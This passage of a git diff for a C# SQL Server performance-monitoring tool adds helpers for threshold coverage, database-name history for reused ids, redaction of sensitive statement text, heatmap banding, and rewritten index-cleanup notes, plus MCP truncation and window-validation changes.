+/// taken into account (#5098). The report collector can run, and log runs, for days before the threshold is switched on; the
+/// XE session then captures nothing, so zeros drawn for that stretch are not coverage. The threshold's history comes from the
+/// daily <c>server_config</c> snapshots, so the answer has about a day of resolution: it names the first snapshot that read on.
+/// One pure rule shared by Lite and the desktop viewer so the two cannot drift.
+/// </summary>
+public static class BlockingThresholdCoverage
+{
+    /// <summary>
+    /// Combines the collector's coverage with the threshold's history.
+    /// </summary>
+    /// <param name="collectorCoverage">The report collector's coverage start (its first logged run in the window, or the window's start when a run precedes it), or null when it has none.</param>
+    /// <param name="earliestReport">The earliest report in the window, read with the chart's own predicate; null if none.</param>
+    /// <param name="onAtWindowStart">True when the newest snapshot at or before the window's start read above zero.</param>
+    /// <param name="firstOnInWindow">The first snapshot in the window (after its start, up to its end) that read above zero, or null.</param>
+    /// <param name="sawZeroSnapshot">True when a snapshot read zero before the threshold was seen on: any zero at or before the window's start, or any zero in the window dated before <paramref name="firstOnInWindow"/> (every zero in the window when there is none).</param>
+    /// <returns>
+    /// With the threshold on at the start, or with no threshold snapshots to go by, the earlier of the coverage and the report
+    /// (today's answer), and so does a window whose snapshots never read zero. Otherwise the earlier of the report and the later of
+    /// the coverage and the threshold's start, where the threshold's start is the first snapshot that read on, or the earliest report
+    /// when every snapshot read zero. Only the start can move: a zero must be seen, before the first nonzero, for the answer to change.
+    /// </returns>
+    public static DateTime? Combine(
+        DateTime? collectorCoverage, DateTime? earliestReport, bool onAtWindowStart, DateTime? firstOnInWindow, bool sawZeroSnapshot)
+    {
+        DateTime? thresholdStart = null;
+        if (!onAtWindowStart)
+        {
+            /* The start moves only when a zero was seen. A nonzero in-window snapshot with no zero before it says nothing about when the
+               threshold went on: the earlier snapshots may simply have been purged, or never taken. */
+            thresholdStart = sawZeroSnapshot ? (firstOnInWindow ?? earliestReport) : null;
+        }
+
+        var covered = Later(collectorCoverage, thresholdStart);
+        return Earlier(earliestReport, covered);
+    }
+
+    private static DateTime? Later(DateTime? a, DateTime? b) =>
+        a is null ? b : b is null ? a : a > b ? a : b;
+
+    private static DateTime? Earlier(DateTime? a, DateTime? b) =>
+        a is null ? b : b is null ? a : a < b ? a : b;
+}
diff --git a/PerformanceMonitor.Common/DatabaseNameHistory.cs b/PerformanceMonitor.Common/DatabaseNameHistory.cs
new file mode 100644
index 0000000000..99673d7333
--- /dev/null
+++ b/PerformanceMonitor.Common/DatabaseNameHistory.cs
@@ -0,0 +1,145 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+
+namespace PerformanceMonitor.Common;
+
+/// <summary>
+/// Turns a severe error's <c>database_id</c> into the database name that id carried AT THE ERROR'S TIME (#5373).
+/// Shared by Lite, the Darling service's MCP tool and the Darling viewer, so all three say the same thing.
+///
+/// <para>SQL Server reuses the id of a dropped database. If database A had id 7, was dropped, and database B
+/// later got id 7, the server's LATEST id-to-name map names B for an error that happened in A. So each id keeps its
+/// history here, as the points where its name changed, read from the collected database-size snapshots:</para>
+/// <list type="number">
+/// <item>the newest snapshot at or before the error's time that has the id decides the name (a snapshot taken at
+/// the same instant counts as before);</item>
+/// <item>if no snapshot at or before the error has the id, the OLDEST snapshot after the error that has it;</item>
+/// <item>if the id was never seen, <c>"database_id N"</c>, the raw id, rather than a silent blank.</item>
+/// </list>
+/// A null or 0 id means "no database context" (error_reported often carries database_id 0; <c>DB_NAME(0)</c> is NULL
+/// server-side too) and resolves to an empty name. Times compare in UTC; an Unspecified kind is taken as UTC, which
+/// is how both stores hold them.
+/// </summary>
+public sealed class DatabaseNameHistory
+{
+    /// <summary>One id's name from <see cref="StartedAt"/> on: the first snapshot that carried the id under this name.</summary>
+    public readonly record struct Change(int DatabaseId, string DatabaseName, DateTime StartedAt);
+
+    /// <summary>How far each history read looks past the errors' range (#5373): back from the floor snapshot, forward
+    /// from the last error, and back from now for an error with no time. The only index is
+    /// <c>(server_id, collection_time)</c>, so an id that is never collected would otherwise make every refresh scan the
+    /// server's whole history. A database offline longer than this before its error shows <c>database_id N</c>.</summary>
+    public const int LookbackDays = 14;
+
+    /// <summary><see cref="LookbackDays"/> as a span.</summary>
+    public static TimeSpan LookbackWindow { get; } = TimeSpan.FromDays(LookbackDays);
+
+    private readonly Dictionary<int, Change[]> _byId;
+
+    /// <summary>A history with no snapshots: every real id resolves to its raw id.</summary>
+    public static DatabaseNameHistory Empty { get; } = new(Array.Empty<Change>());
+
+    /// <summary>
+    /// Builds the history from name-change points, or from raw snapshot rows (a row that repeats the previous
+    /// name of the same id changes nothing). Rows may arrive in any order.
+    /// </summary>
+    public DatabaseNameHistory(IEnumerable<Change> changes)
+    {
+        _byId = changes
+            .GroupBy(c => c.DatabaseId)
+            .ToDictionary(
+                g => g.Key,
+                g => g.Select(c => c with { StartedAt = ToUtc(c.StartedAt) }).OrderBy(c => c.StartedAt).ThenBy(c => c.DatabaseName, StringComparer.Ordinal).ToArray());
+    }
+
+    /// <summary>The name <paramref name="databaseId"/> carried at <paramref name="eventTime"/>; see the class remarks.
+    /// A null event time (an event with no timestamp) falls back to the id's newest known name.</summary>
+    public string Resolve(int? databaseId, DateTime? eventTime)
+    {
+        if (databaseId is not { } id || id == 0)
+            return string.Empty;
+        if (!_byId.TryGetValue(id, out var changes) || changes.Length == 0)
+            return $"database_id {id}";
+        if (eventTime is not { } at)
+            return changes[^1].DatabaseName;
+
+        var t = ToUtc(at);
+        /* The last change that started at or before t: its name is the newest snapshot at or before t. */
+        var found = -1;
+        for (var i = 0; i < changes.Length && changes[i].StartedAt <= t; i++)
+            found = i;
+        /* No snapshot at or before t has the id: the oldest one after it. Two names at that one instant take the larger
+           name in ordinal order, the same tie rule as the SQL arms and as a time at or after that instant. */
+        if (found < 0)
+        {
+            found = 0;
+            while (found + 1 < changes.Length && changes[found + 1].StartedAt == changes[0].StartedAt)
+                found++;
+        }
+
+        return changes[found].DatabaseName;
+    }
+
+    /// <summary>True when the name <paramref name="databaseId"/> carried at <paramref name="eventTime"/> (the same
+    /// <see cref="Resolve"/> rule the rows show) is one of <paramref name="chosen"/>, compared ordinally (#5244). An id
+    /// with no database context (null or 0) or one this history never saw resolves to no name, so it is in no chosen
+    /// database. A database that was dropped and whose id a second database reused matches by the name each error
+    /// carried, not by the id's latest name.</summary>
+    public bool IsIn(int? databaseId, DateTime? eventTime, IEnumerable<string> chosen)
+    {
+        if (databaseId is not { } id || id == 0 || !_byId.TryGetValue(id, out var changes) || changes.Length == 0)
+            return false;
+        var name = Resolve(id, eventTime);
+        return chosen.Contains(name, StringComparer.Ordinal);
+    }
+
+    /// <summary>What a history read has to cover for a set of errors (#5373): the real database ids, the range of the
+    /// times of the errors that carry one, and whether any of those errors has no time (it resolves to its id's
+    /// newest name, so the newest row per id is read too).</summary>
+    public readonly record struct ReadPlan(int[] Ids, (DateTime Min, DateTime Max)? Range, bool NeedsNewest);
+
+    /// <summary>Plans the read for the errors' (database id, time) pairs. An error with no database context (null or
+    /// 0 id) needs nothing, whatever its time.</summary>
+    public static ReadPlan Plan(IEnumerable<(int? DatabaseId, DateTime? EventTime)> errors)
+    {
+        var withId = errors.Where(e => e.DatabaseId is { } id && id != 0).ToList();
+        return new ReadPlan(
+            withId.Select(e => e.DatabaseId!.Value).Distinct().ToArray(),
+            RangeOf(withId.Select(e => e.EventTime)),
+            withId.Any(e => e.EventTime is null));
+    }
+
+    /// <summary>The earliest and latest of the given times, or null when none has a value. The history read
+    /// is limited to this range.</summary>
+    public static (DateTime Min, DateTime Max)? RangeOf(IEnumerable<DateTime?> times)
+    {
+        DateTime? min = null, max = null;
+        foreach (var time in times)
+        {
+            if (time is not { } t)
+                continue;
+            var utc = ToUtc(t);
+            if (min is null || utc < min)
+                min = utc;
+            if (max is null || utc > max)
+                max = utc;
+        }
+
+        return min is { } lo && max is { } hi ? (lo, hi) : null;
+    }
+
+    private static DateTime ToUtc(DateTime value) => value.Kind switch
+    {
+        DateTimeKind.Local => value.ToUniversalTime(),
+        _ => DateTime.SpecifyKind(value, DateTimeKind.Utc),
+    };
+}
diff --git a/PerformanceMonitor.Common/DerivedStoreScrub.cs b/PerformanceMonitor.Common/DerivedStoreScrub.cs
new file mode 100644
index 0000000000..5530e2c2ac
--- /dev/null
+++ b/PerformanceMonitor.Common/DerivedStoreScrub.cs
@@ -0,0 +1,45 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Diagnostics.CodeAnalysis;
+
+namespace PerformanceMonitor.Common;
+
+/// <summary>
+/// The statement filter at the write of a derived store (#4348, #5320 Layer 0b): analysis findings and alert history
+/// are built from rows a collector stored, and a row stored before the filter existed can still hold a statement, so
+/// the finding or alert text is judged again where it is written. Each call is its own standalone
+/// <see cref="SensitiveStatements.Session"/> (a store write is not a collector read call and shares no budget), and
+/// both apps' stores call the same two members so the Darling and Lite writes cannot drift apart.
+///
+/// <para>Clean input comes back as the SAME instance, so a row with nothing named is stored byte for byte as before.</para>
+/// </summary>
+public static class DerivedStoreScrub
+{
+    /// <summary>A finding's <c>story_text</c> or an alert's <c>detail_text</c>: the text, or the marker when it names a
+    /// statement or was not judged in time.</summary>
+    [return: NotNullIfNotNull(nameof(value))]
+    public static string? Text(string? value) =>
+        string.IsNullOrEmpty(value) ? value : new SensitiveStatements.Session().Text(value);
+
+    /// <summary>A finding's <c>drill_down_json</c> or an alert's <c>context_json</c>: every named string value (and key)
+    /// replaced inside the JSON, the document otherwise unchanged. A document the filter cannot read is not stored
+    /// (null), the same degrade-to-NULL both stores already use when a serializer has nothing to write, rather than a
+    /// refusal sentence a reader would fail to parse as JSON.</summary>
+    public static string? Json(string? value)
+    {
+        if (string.IsNullOrEmpty(value))
+        {
+            return value;
+        }
+
+        var judged = SensitiveStatements.Json(value);
+        return string.Equals(judged, SensitiveStatements.JsonRefusal, StringComparison.Ordinal) ? null : judged;
+    }
+}
diff --git a/PerformanceMonitor.Common/FinOpsHeatmap.cs b/PerformanceMonitor.Common/FinOpsHeatmap.cs
index 66017a6707..df2cec3a0f 100644
--- a/PerformanceMonitor.Common/FinOpsHeatmap.cs
+++ b/PerformanceMonitor.Common/FinOpsHeatmap.cs
@@ -108,6 +108,60 @@ public static FinOpsHeatmapMatrix BuildMatrix(
             };
         }
 
+        /// <summary>
+        /// Puts every cell of a heatmap matrix into one of <paramref name="bandCount"/> discrete bands, the discrete form of
+        /// the desktop's single colour scale. Each cell above 0 is placed by <c>log1p(value)</c>, normalised across the
+        /// WHOLE matrix from <c>log1p</c> of the smallest positive cell to <c>log1p</c> of the largest:
+        /// <c>floor(t * bandCount)</c>, clamped to <c>bandCount - 1</c>, so the smallest positive cell is band 0 and the
+        /// largest is the top band. A cell of 0, or with no sample, has no band (null). When every positive cell is
+        /// equal, or there is only one, there is no range to place them in, and they all take band 0 (the darkest colour, where
+        /// the desktop's scale paints position 0.0). A non-finite cell (NaN, +Infinity or -Infinity) has no band (null) and
+        /// is left out of the range. <paramref name="bandCount"/> below 1 throws <see cref="ArgumentOutOfRangeException"/>
+        /// and a null <paramref name="matrix"/> throws <see cref="ArgumentNullException"/>. The result has the matrix's shape.
+        /// </summary>
+        public static int?[,] MatrixLogBands(FinOpsHeatmapMatrix matrix, int bandCount)
+        {
+            if (matrix == null) throw new ArgumentNullException(nameof(matrix));
+            ArgumentOutOfRangeException.ThrowIfLessThan(bandCount, 1);
+
+            int rows = matrix.Intensities.GetLength(0);
+            int cols = matrix.Intensities.GetLength(1);
+            var bands = new int?[rows, cols];
+
+            double smallest = double.PositiveInfinity;
+            double largest = double.NegativeInfinity;
+            for (int r = 0; r < rows; r++)
+            {
+                for (int c = 0; c < cols; c++)
+                {
+                    double v = matrix.Intensities[r, c];
+                    if (!(v > 0) || double.IsInfinity(v)) continue;
+                    if (v < smallest) smallest = v;
+                    if (v > largest) largest = v;
+                }
+            }
+            if (double.IsPositiveInfinity(smallest)) return bands;
+
+            double low = Math.Log(1 + smallest);
+            double span = Math.Log(1 + largest) - low;
+            for (int r = 0; r < rows; r++)
+            {
+                for (int c = 0; c < cols; c++)
+                {
+                    double v = matrix.Intensities[r, c];
+                    if (!(v > 0) || double.IsInfinity(v)) continue;
+                    if (!(span > 0))
+                    {
+                        bands[r, c] = 0;
+                        continue;
+                    }
+                    int band = (int)Math.Floor((Math.Log(1 + v) - low) / span * bandCount);
+                    bands[r, c] = Math.Clamp(band, 0, bandCount - 1);
+                }
+            }
+            return bands;
+        }
+
         /// <summary>
         /// Computes per-column color intensities (0..1) on a log1p scale, normalized to the column max. A
         /// column whose max is 0 yields all-zero intensities (the max=0 divide-by-zero guard, #1138 §3B).
diff --git a/PerformanceMonitor.Common/IndexCleanupAnalyzer.cs b/PerformanceMonitor.Common/IndexCleanupAnalyzer.cs
index acedda47c3..75bd2619d3 100644
--- a/PerformanceMonitor.Common/IndexCleanupAnalyzer.cs
+++ b/PerformanceMonitor.Common/IndexCleanupAnalyzer.cs
@@ -122,7 +122,7 @@ public static IndexCleanupAnalysisResult Analyze(
                 }
 
                 recommendations.AddRange(BuildRecommendations(perDatabaseAnalyzed, options));
-                databaseRollups.Add(BuildRollup(dbGroup.First().Src.DatabaseName, perDatabaseAnalyzed, options));
+                databaseRollups.Add(BuildRollup(dbGroup.First().Src.DatabaseName, dbGroup.Key, perDatabaseAnalyzed, options));
             }
 
             var ordered = recommendations
@@ -1098,7 +1098,7 @@ private static string QuoteName(string name) =>
         //  Rollups + notes
         // ────────────────────────────────────────────────────────────────────────────────────────────
 
-        private static IndexCleanupRollup BuildRollup(string databaseName, List<WorkIndex> analyzed, IndexCleanupOptions options)
+        private static IndexCleanupRollup BuildRollup(string databaseName, int databaseId, List<WorkIndex> analyzed, IndexCleanupOptions options)
         {
             decimal unusedSize = 0, compMin = 0, compMax = 0;
             int disable = 0, merge = 0, compressable = 0, unused = 0;
@@ -1158,6 +1158,7 @@ private static IndexCleanupRollup BuildRollup(string databaseName, List<WorkInde
             return new IndexCleanupRollup
             {
                 DatabaseName = databaseName,
+                DatabaseId = databaseId,
                 TablesAnalyzed = analyzed.Select(w => w.Src.ObjectId).Distinct().Count(),
                 IndexCount = analyzed.Count,
                 TotalSizeGb = totalSize,
@@ -1214,43 +1215,46 @@ private static List<string> BuildNotes(List<IndexCleanupRecommendation> recommen
         {
             var notes = new List<string>();
 
+            // These notes are shown to users (the FinOps Index Analysis banner, the web page and the MCP tool), so they say what is
+            // left out of the scripts and what to do about it, in plain words. The developer reasons stay here: the data behind the
+            // analysis (Stage 1 of sp_IndexCleanup) does not record filegroup or partition placement, per-column sparse or LOB type,
+            // or the partition scheme name; Reverse Duplicate and Equal Except For Filter follow the proc's adversarial tests 9a/10a,
+            // which leave those indexes alone; Unique Constraint Replacement (Rules 7, 7.5, 7.5b) reproduces the proc's literal
+            // behavior, verified against a live @debug=1 run (Rule 7.5 step 2 has no is_unique guard, so an already-unique index is
+            // still rebuilt as UNIQUE); and 'Same Keys Different Order' is not ported (the Reverse Duplicate rows cover most of it).
             if (recommendations.Any(r => r.ScriptOmitsPartitionPlacement))
             {
-                notes.Add("Reconstructed CREATE/MERGE scripts omit the trailing ON <filegroup/partition_scheme> clause: "
-                    + "Stage 1 did not capture filegroup/partition placement. For a partitioned index the rebuild would "
-                    + "default to the table's scheme mapping; verify placement before running.");
+                notes.Add("The CREATE and MERGE scripts leave out the ON filegroup or partition scheme clause, because the "
+                    + "collected data does not record where an index is stored. For a partitioned index the rebuild uses the "
+                    + "table's default placement, so check where the index lives before you run the script.");
             }
 
             if (recommendations.Any(r => r.ResultKind == IndexCleanupResultKind.Compress))
             {
-                notes.Add("Compression eligibility cannot exclude tables with sparse columns or legacy LOB types "
-                    + "(text/ntext/image): Stage 1 did not capture per-column type/sparse metadata, so a small number of "
-                    + "compression candidates may be ineligible in practice (sp_IndexCleanup excludes them via a live column scan).");
-                notes.Add("Compression savings use sp_IndexCleanup's general 0.20–0.60 × size band, NOT "
-                    + "sp_estimate_data_compression_savings (a live-sampling proc, out of scope for data-driven analysis).");
-                notes.Add("COMPRESSION REBUILD uses PARTITION = ALL when partition_count > 1 (a proxy; Stage 1 did not "
-                    + "capture the partition scheme name).");
+                notes.Add("Some compression candidates may not be compressible in practice. The collected data does not say which "
+                    + "columns are sparse or hold legacy large-object types (text, ntext, image), so tables with those columns are "
+                    + "not left out. Check a table for them before you compress it.");
+                notes.Add("Compression savings are a rough range of 20% to 60% of the index size. They are not measured with "
+                    + "sp_estimate_data_compression_savings, which samples the live server and cannot run on collected data.");
+                notes.Add("COMPRESSION REBUILD scripts use PARTITION = ALL for an index with more than one partition, because "
+                    + "the collected data does not record the partition scheme name.");
             }
 
-            notes.Add("Reverse Duplicate and Equal Except For Filter are recognized and surfaced as REVIEW rows but "
-                + "never auto-disabled — matching sp_IndexCleanup's tested behavior (its adversarial tests 9a/10a assert "
-                + "reversed-order and filter-differing indexes are left alone; a different leading column or filter serves "
-                + "different queries/rows).");
+            notes.Add("Reverse Duplicate and Equal Except For Filter indexes are listed as REVIEW rows only and are never disabled "
+                + "for you. An index with the same columns in a different order, or with a different filter, can serve different "
+                + "queries or rows, so check each one by hand.");
 
             if (recommendations.Any(r => r.ConsolidationRule == IndexCleanupRules.UniqueConstraintReplacement))
             {
-                notes.Add("Unique Constraint Replacement (sp_IndexCleanup Rule 7/7.5/7.5b) reproduces the proc's LITERAL "
-                    + "behavior, verified against a live @debug=1 run: a nonclustered index whose key_columns EXACTLY match "
-                    + "a unique constraint is made unique (MERGE SCRIPT) and the constraint is dropped (DISABLE CONSTRAINT "
-                    + "SCRIPT). This fires even when the index is ALREADY unique — the proc's Rule 7.5 step 2 has no is_unique "
-                    + "guard, so it overrides Rule 7's KEEP with MAKE UNIQUE (a redundant-but-harmless UNIQUE rebuild that "
-                    + "still drops the constraint). A constraint backing an inbound foreign-key reference is never dropped, "
-                    + "and an index whose key columns are a SUPERSET of the constraint's is not promoted.");
+                notes.Add("A nonclustered index whose key columns exactly match a unique constraint is rebuilt as UNIQUE "
+                    + "(MERGE SCRIPT) and the constraint is dropped (DISABLE CONSTRAINT SCRIPT). This also happens when the index "
+                    + "is already unique: the UNIQUE rebuild is then redundant but harmless, and the constraint is still dropped. "
+                    + "A constraint that a foreign key references is never dropped, and an index whose key columns are a superset "
+                    + "of the constraint's key columns is not made unique.");
             }
 
-            notes.Add("Out of scope of the Unique Constraint Replacement port: sp_IndexCleanup's 'Same Keys Different Order' "
-                + "REVIEW case, largely covered by the Reverse Duplicate review rows above and reproducible from the captured "
-                + "metadata if later required.");
+            notes.Add("Not covered: sp_IndexCleanup also reports a Same Keys Different Order review case. The Reverse Duplicate "
+                + "review rows above cover most of it.");
 
             return notes;
         }
diff --git a/PerformanceMonitor.Common/IndexCleanupModels.cs b/PerformanceMonitor.Common/IndexCleanupModels.cs
index 3214699526..fd50e85604 100644
--- a/PerformanceMonitor.Common/IndexCleanupModels.cs
+++ b/PerformanceMonitor.Common/IndexCleanupModels.cs
@@ -379,6 +379,9 @@ public sealed record IndexCleanupRollup
         /// <summary>Database this rollup covers; null for the overall (all-databases) rollup.</summary>
         public string? DatabaseName { get; init; }
 
+        /// <summary>The database id the analyzer grouped this rollup by; null on the overall rollup and for any caller that does not fill it. Names can repeat across ids (a dropped and recreated database), the id cannot.</summary>
+        public int? DatabaseId { get; init; }
+
         /// <summary>Distinct tables analyzed.</summary>
         public int TablesAnalyzed { get; init; }
 
diff --git a/PerformanceMonitor.Common/JobHistoryCap.cs b/PerformanceMonitor.Common/JobHistoryCap.cs
index b2663db314..135abbe59b 100644
--- a/PerformanceMonitor.Common/JobHistoryCap.cs
+++ b/PerformanceMonitor.Common/JobHistoryCap.cs
@@ -22,4 +22,31 @@ public static class JobHistoryCap
     /// the cap knows there could be more outside the window.</summary>
     public static string Label(int rowCount, int cap) =>
         rowCount >= cap ? $"showing the newest {cap:N0}" : "";
+
+    /// <summary>
+    /// The count text beside the grid (#4966): "N run(s)", with the cap label in brackets whenever the READ reached the cap,
+    /// and empty when the grid shows nothing. <paramref name="shownCount"/> is what the grid shows now, after the Status,
+    /// Category and column filters; <paramref name="readCount"/> is what the read returned before any of them. The cap
+    /// belongs to the read, so a column filter that narrows the grid must not take the label away while the read is still
+    /// cut at the cap: every writer of the count text, the load and the column-filter handler alike, builds it here.
+    /// </summary>
+    public static string CountText(int shownCount, int readCount, int cap) =>
+        CountText(shownCount, readCount, cap, "run(s)");
+
+    /// <summary>
+    /// <see cref="CountText(int, int, int)"/> for any list whose read is cut at a row cap, with the noun it counts
+    /// ("run(s)", "alert(s)"). The Alert History tab (D7 of the final walk) reads its newest 500 and said a bare
+    /// "500 alert(s)" at 24 hours and at 7 days, which reads as the whole answer; it now says "500 alert(s) (showing
+    /// the newest 500)" whenever the read reached the cap, however a column filter narrows the grid afterwards.
+    /// </summary>
+    public static string CountText(int shownCount, int readCount, int cap, string noun)
+    {
+        if (shownCount <= 0)
+        {
+            return "";
+        }
+
+        var label = Label(readCount, cap);
+        return label.Length > 0 ? $"{shownCount} {noun} ({label})" : $"{shownCount} {noun}";
+    }
 }
diff --git a/PerformanceMonitor.Common/Mcp/McpHelpers.cs b/PerformanceMonitor.Common/Mcp/McpHelpers.cs
index c9a0bff118..ae33cae2a1 100644
--- a/PerformanceMonitor.Common/Mcp/McpHelpers.cs
+++ b/PerformanceMonitor.Common/Mcp/McpHelpers.cs
@@ -63,14 +63,107 @@ internal static class McpHelpers
     public static readonly JsonSerializerOptions JsonOptions = new() { WriteIndented = false };
 
     /// <summary>
-    /// Truncates a string to the specified maximum length, adding a truncation suffix.
+    /// Truncates a string to the specified maximum length, adding a truncation suffix. The cut lands on a whole
+    /// text element at or before <paramref name="maxLength"/> (<see cref="TextElementCutLength"/>), so it never
+    /// splits an emoji's surrogate pair or a letter from its accent. A split pair would reach the caller as U+FFFD,
+    /// because System.Text.Json writes that in place of a lone surrogate.
     /// </summary>
     public static string? Truncate(string? value, int maxLength)
     {
         if (value == null || value.Length <= maxLength) return value;
-        return value[..maxLength] + "... (truncated)";
+        return value[..TextElementCutLength(value, maxLength)] + "... (truncated)";
     }
 
+    /// <summary>
+    /// <see cref="Truncate"/> for statement text (#5320): the WHOLE text is judged first
+    /// (<see cref="SensitiveStatements.Text"/>), then cut. A value can sit early in a batch with the text that
+    /// names it past the cut (a URI's <c>user:secret@</c> trigger is its closing at-sign), so a prefix can be
+    /// judged clean while it holds part of a secret. A statement judged named is the placeholder, so no cut text
+    /// can hold half of one.
+    /// </summary>
+    public static string? TruncateStatement(string? value, int maxLength) =>
+        Truncate(SensitiveStatements.Text(value), maxLength);
+
+    /// <summary>
+    /// The same filter-then-cut as <see cref="TruncateStatement"/> for a preview that carries no "... (truncated)"
+    /// marker because its row has its own truncated flag (the Query Heatmap cell, the FinOps query preview).
+    /// </summary>
+    public static string? StatementPreview(string? value, int maxLength)
+    {
+        var filtered = SensitiveStatements.Text(value);
+        if (filtered == null || filtered.Length <= maxLength) return filtered;
+        return filtered[..TextElementCutLength(filtered, maxLength)];
+    }
+
+    /// <summary>
+    /// How many UTF-16 units of <paramref name="text"/> to keep so the cut lands on a text-element boundary (an
+    /// extended grapheme cluster: an emoji with its modifiers, a letter with its combining accent, a CR LF pair) at
+    /// or before <paramref name="limit"/>. The rule and the walk are the #3625 cut in
+    /// <c>WebhookAlertService.SlackCutLength</c>, which this matches on every input. That project does not reference
+    /// this one, so it keeps its own copy.
+    ///
+    /// <para>When no whole element fits (one element wider than the whole limit, such as a long run of combining
+    /// marks), the cut falls back to a code-point boundary: one unit before a surrogate pair, else the limit.</para>
+    ///
+    /// <para>The walk starts at the last position at or before the limit whose two neighbours are both ASCII and are
+    /// not CR then LF. No ASCII character extends, joins or prefixes the character next to it, so such a position is a
+    /// text-element boundary however the text before it segments. Most values are ASCII at the cut, so most calls
+    /// return without segmenting anything, and when the text is ASCII at the cut a 512,000-unit limit costs no more
+    /// than a 40-unit one. When it is not (a non-ASCII character or a CR LF pair at the cut), the walk goes back toward
+    /// the start of the text and segments forward from there, so the cost then grows with the limit.</para>
+    /// </summary>
+    internal static int TextElementCutLength(ReadOnlySpan<char> text, int limit)
+    {
+        if (text.Length <= limit)
+        {
+            return text.Length;
+        }
+
+        if (limit <= 0)
+        {
+            return 0;
+        }
+
+        var start = limit;
+        while (start > 0 && !IsAsciiBoundary(text, start))
+        {
+            start--;
+        }
+
+        if (start == limit)
+        {
+            return limit;
+        }
+
+        /* The window handed to the segmenter ends two units past the limit, as in SlackCutLength: two units hold any
+           scalar that straddles the limit whole, and every boundary decision is made from the left, so each one at or
+           before the limit is the one the full text would make. */
+        var cut = start;
+        while (true)
+        {
+            var window = text.Slice(cut, Math.Min(text.Length - cut, limit - cut + 2));
+            var element = StringInfo.GetNextTextElementLength(window);
+            if (cut + element > limit)
+            {
+                break;
+            }
+
+            cut += element;
+        }
+
+        if (cut > 0)
+        {
+            return cut;
+        }
+
+        return char.IsHighSurrogate(text[limit - 1]) && char.IsLowSurrogate(text[limit]) ? limit - 1 : limit;
+    }
+
+    private static bool IsAsciiBoundary(ReadOnlySpan<char> text, int index) =>
+        char.IsAscii(text[index - 1])
+        && char.IsAscii(text[index])
+        && !(text[index - 1] == '\r' && text[index] == '\n');
+
     /// <summary>
     /// Validates hours_back parameter. Returns null if valid, the <see cref="Refusal"/> envelope if invalid.
     ///
@@ -82,15 +175,32 @@ internal static class McpHelpers
     /// text) reads them back through <see cref="ErrorMessageOf"/>; nothing concatenates a validator's return
     /// any more, because it is no longer text.</para>
     /// </summary>
-    public static string? ValidateHoursBack(int hoursBack)
+    public static string? ValidateHoursBack(int hoursBack) => ValidateHoursBack(hoursBack, MaxHoursBack);
+
+    /// <summary>
+    /// <see cref="ValidateHoursBack(int)"/> against a ceiling the READ declares (#5562): the per-read opt-in by which
+    /// a bucketed trend read accepts a window longer than <see cref="MaxHoursBack"/>. Same two refusals, same envelope,
+    /// same sentences with the ceiling swapped in, so a caller who has seen the 168-hour refusal recognises this one.
+    /// Refuses, never clamps: a window past <paramref name="maxHours"/> is an error, not a quietly shorter question.
+    ///
+    /// <para><see cref="MaxHoursBack"/> itself never moves. A read opts in by passing its own ceiling here (one line
+    /// per read, from the web read-reach table), and every read that does not keeps the 168-hour rule.</para>
+    /// </summary>
+    public static string? ValidateHoursBack(int hoursBack, int maxHours)
     {
         if (hoursBack <= 0)
-            return Refusal("hours_back", $"Invalid hours_back value '{hoursBack}'. Must be a positive integer (1-{MaxHoursBack}).");
-        if (hoursBack > MaxHoursBack)
-            return Refusal("hours_back", $"hours_back value '{hoursBack}' exceeds maximum of {MaxHoursBack} hours (7 days). Use a smaller value.");
+            return Refusal("hours_back", $"Invalid hours_back value '{hoursBack}'. Must be a positive integer (1-{maxHours}).");
+        if (hoursBack > maxHours)
+            return Refusal("hours_back", $"hours_back value '{hoursBack}' exceeds maximum of {maxHours} hours{DescribeCeiling(maxHours)}. Use a smaller value.");
         return null;
     }
 
+    /// <summary>The ceiling as days when it is a whole number of them (168 is " (7 days)"), nothing otherwise.</summary>
+    private static string DescribeCeiling(int maxHours) =>
+        maxHours % 24 == 0
+            ? $" ({maxHours / 24} days)"
+            : string.Empty;
+
     /// <summary>
     /// Validates a <c>days_back</c> parameter against the ceiling its tool declares. Returns null if valid, an
     /// error message if invalid — the day-grained twin of <see cref="ValidateHoursBack"/>, in the same sentence
@@ -120,11 +230,19 @@ internal static class McpHelpers
     /// <c>hours_back</c> first, exactly as they were before <c>as_of</c> existed. <paramref name="endUtc"/> is
     /// only meaningful when this returns null.</para>
     /// </summary>
-    public static string? ValidateWindow(int hoursBack, string? asOf, out DateTime endUtc)
+    public static string? ValidateWindow(int hoursBack, string? asOf, out DateTime endUtc) =>
+        ValidateWindow(hoursBack, asOf, MaxHoursBack, out endUtc);
+
+    /// <summary>
+    /// <see cref="ValidateWindow(int, string, out DateTime)"/> with the read's own ceiling (#5562): the opt-in a
+    /// bucketed trend read uses to accept a window past <see cref="MaxHoursBack"/>. Lists and rankings stay on the
+    /// 168-hour overload, except <c>get_alert_history</c> (a list, ruling R8), which passes its retention. Refuses, never clamps.
+    /// </summary>
+    public static string? ValidateWindow(int hoursBack, string? asOf, int maxHours, out DateTime endUtc)
     {
         endUtc = DateTime.UtcNow;
 
-        var hoursError = ValidateHoursBack(hoursBack);
+        var hoursError = ValidateHoursBack(hoursBack, maxHours);
         if (hoursError != null)
         {
             return hoursError;
@@ -216,15 +334,21 @@ internal static class McpHelpers
     /// Exception filter, and it is a measured zero: Query Store is collecting and the window has rows, just none
     /// with that outcome. Without it the read fell through to the "Query Store may not be enabled" guess, which
     /// is the one thing the unfiltered rows prove false. Shared so both SKUs say it in the same words.
+    ///
+    /// <para><paramref name="scopeText"/> (#5245) is for a read over SEVERAL databases, which has no one name to put in
+    /// the sentence: the caller hands the whole phrase (" for the chosen databases") and it replaces the
+    /// <c>in database 'X'</c> text. Left null, the text is exactly what it was, so Lite's answers and every one-name
+    /// answer are byte-identical.</para>
     /// </summary>
-    public static string QueryStoreExecutionTypeEmpty(string executionType, int hoursBack, string? databaseName)
+    public static string QueryStoreExecutionTypeEmpty(string executionType, int hoursBack, string? databaseName, object? hints = null, string? scopeText = null)
     {
-        var scope = string.IsNullOrWhiteSpace(databaseName) ? "" : $" in database '{databaseName}'";
